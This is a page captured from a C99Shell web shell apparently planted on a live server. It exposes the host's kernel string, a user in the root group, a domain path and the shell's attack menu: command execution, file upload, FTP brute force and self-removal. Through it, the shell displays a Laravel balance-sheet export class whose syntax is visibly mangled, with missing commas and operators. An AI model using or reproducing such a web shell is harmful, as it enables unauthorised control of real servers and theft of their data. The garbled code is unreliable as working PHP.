!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Exports/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BalanceSheetExport.php (9.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Exports;

use 
Illuminate\Support\Collection;
use 
Maatwebsite\Excel\Concerns\FromArray;
use 
Maatwebsite\Excel\Concerns\WithColumnWidths;
use 
Maatwebsite\Excel\Concerns\WithCustomStartCell;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Concerns\WithHeadings;
use 
Maatwebsite\Excel\Concerns\WithStyles;
use 
Maatwebsite\Excel\Events\AfterSheet;
use 
Maatwebsite\Excel\Events\BeforeWriting;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;

class 
BalanceSheetExport implements FromArrayWithEventsWithHeadingsWithStylesWithColumnWidthsWithCustomStartCell
{
    
/**
     * @return \Illuminate\Support\Collection
     */

    
public function __construct($data$startDate$endDate$companyName)
    {

        
$formattedData = [];
        
$liabilitiesOrEquityEncountered false;
        
$liabilitiesOrEquityEncountered1 false;
        
$liabilities false;
        
        
$assets false;

        foreach (
$data as $category => $subCategories) {
            
$total 0;
            
$amountTotal 0;
            foreach (
$subCategories as $subkey => $subCategory) {

                foreach (
$subCategory['account'] as $account) {
                    foreach (
$account as $key => $record) {

                    if (
$record['netAmount'] != null) {
                        if (
$category == 'Liabilities' || $category == 'Equity') {
                            if (!
$liabilitiesOrEquityEncountered) {
                                
$formattedData[] = [
                                    
'Account Name' => 'Liabilities & Equity',
                                    
'Account No' => '',
                                    
'Total' => '',
                                ];
                                
$liabilitiesOrEquityEncountered true;
                            }

                            if (!
$liabilities) {

                                
$formattedData[] = [
                                    
'Account Name' => '  ' $category,
                                    
'Account No' => '',
                                    
'Total' => '',

                                ];
                                
$liabilities true;

                            }
                        } else {
                            if (!
$assets) {

                                
$formattedData[] = [
                                    
'Account Name' => $category,
                                    
'Account No' => '',
                                    
'Total' => '',

                                ];
                                
$assets true;
                            }
                        }
                    }
                }
            }
                break;
            }

            foreach (
$subCategories as $subkey => $subCategory) {

                foreach (
$subCategory['account'] as $account) {
                    if (
$account != []) {
                        
$formattedData[] = [
                            
'Account Name' => '    ' $subCategory['subType'],
                            
'Account No' => '',
                            
'Total' => '',
                        ];
                        break;
                    }
            }

                foreach (
$subCategory['account'] as $key => $account) {
                    foreach (
$account as $key => $record) {

                    if (
$record['netAmount'] != null && $record['account_name'] == 'Total ' $subCategory['subType']) {
                        
$formattedData[] = [
                            
'Account Name' => '    ' $record['account_name'],
                            
'Account No' => $record['account_code'],
                            
'Total' => $record['netAmount'],
                        ];

                        
$amountTotal += $record['netAmount'];
                    } 
                    elseif (
$record['account'] == 'parent' || $record['account'] == 'parentTotal') {
                        
$formattedData[] = [
                            
'Account Name' => '       ' $record['account_name'],
                            
'Account No' => $record['account_code'],
                            
'Total' => $record['netAmount'],
                        ];
                    }
                    elseif (
$record['netAmount'] != null && !preg_match('/\bTotal\b/i'$record['account_name'])) {
                        
$formattedData[] = [
                            
'Account Name' => '         ' $record['account_name'],
                            
'Account No' => $record['account_code'],
                            
'Total' => $record['netAmount'],
                        ];

                    }
                }
                }

            }

            if ((
$category == 'Liabilities' && $amountTotal != 0) || ($category == 'Equity' && $amountTotal != 0)) {
                
$formattedData[] = [
                    
'Account Name' => '  Total ' $category,
                    
'Account No' => '',
                    
'Total' => $amountTotal,
                ];
            } else {
                if (
$amountTotal != 0) {
                    
$formattedData[] = [
                        
'Account Name' => 'Total ' $category,
                        
'Account No' => '',
                        
'Total' => $amountTotal,
                    ];
                }
            }
        }
        foreach (
$formattedData as $a) {
            if (
$a['Account Name'] == '  Total Liabilities' || $a['Account Name'] == '  Total Equity') {
                
$total += $a['Total'];
            }
        }

        if (!
$liabilitiesOrEquityEncountered1) {
            
$formattedData[] = [
                
'Account Name' => 'Total Liabilities & Equity',
                
'Account No' => '',
                
'Total' => $total,
            ];
            
$liabilitiesOrEquityEncountered1 true;

        }
        
$this->data $formattedData;
        
$this->companyName $companyName;
        
$this->startDate $startDate;
        
$this->endDate $endDate;
    }

    public function 
startCell(): string
    
{
        return 
'A5';
    }

    public function 
columnWidths(): array
    {
        return [
            
'A' => 30,
            
'B' => 15,
            
'C' => 15,
            
'D' => 15,

        ];
    }

    public function 
styles(Worksheet $sheet)
    {
        
$sheet->getStyle('A5')->getFont()->setBold(true);
        
$sheet->getStyle('B5')->getFont()->setBold(true);
        
$sheet->getStyle('C5')->getFont()->setBold(true);
        
$sheet->getStyle('D5')->getFont()->setBold(true);
        
$sheet->getStyle('E5')->getFont()->setBold(true);
        
$sheet->getStyle('F5')->getFont()->setBold(true);
    }

    public function array(): array
    {
        return 
$this->data;
    }

    public function 
registerEvents(): array
    {
        return [
            
BeforeWriting::class => function (BeforeWriting $event) {

            },

            
AfterSheet::class => function (AfterSheet $event) {
                
$event->sheet->getDelegate()->mergeCells('A1:F1');
                
$event->sheet->getDelegate()->mergeCells('A2:F2');
                
$event->sheet->getDelegate()->mergeCells('A3:F3');

                
$event->sheet->getDelegate()->setCellValue('A1''Balance Sheet - ' $this->companyName)->getStyle('A1')->getFont()->setBold(true);
                
$event->sheet->getDelegate()->setCellValue('A2''Print Out Date : ' date('Y-m-d H:i'));
                
$event->sheet->getDelegate()->setCellValue('A3''Date : ' $this->startDate ' - ' $this->endDate);

                
$event->sheet->getStyle('A1')->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);
                
$event->sheet->getStyle('A2')->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);
                
$event->sheet->getStyle('A3')->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);

                
$event->sheet->getDelegate()->getStyle('A')->getAlignment()->setVertical(\PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER);
                
$event->sheet->getDelegate()->getStyle('B')->getAlignment()->setVertical(\PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER);

                
$data $this->data;
                foreach (
$data as $index => $row) {

                    if (isset(
$row['Account Name']) && ($row['Account Name'] == '  Total Liabilities' || $row['Account Name'] == 'Assets' ||
                        
$row['Account Name'] == 'Total Assets' || $row['Account Name'] == '  Liabilities' || $row['Account Name'] == '  Equity' ||
                        
$row['Account Name'] == '  Total Equity' || $row['Account Name'] == 'Liabilities & Equity' || $row['Account Name'] == 'Total Liabilities & Equity' ||
                        
preg_match('/\bTotal\b/i'$row['Account Name']))) {
                        
$rowIndex $index 6// Adjust for 1-based indexing and header row
                        
$event->sheet->getStyle('A' $rowIndex ':C' $rowIndex)
                            ->
applyFromArray([
                                
'font' => [
                                    
'bold' => true,
                                ],
                            ]);
                    }
                }
            },
        ];
    }

    public function 
headings(): array
    {
        return [
            
"Account",
            
"Account No",
            
"Total",
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--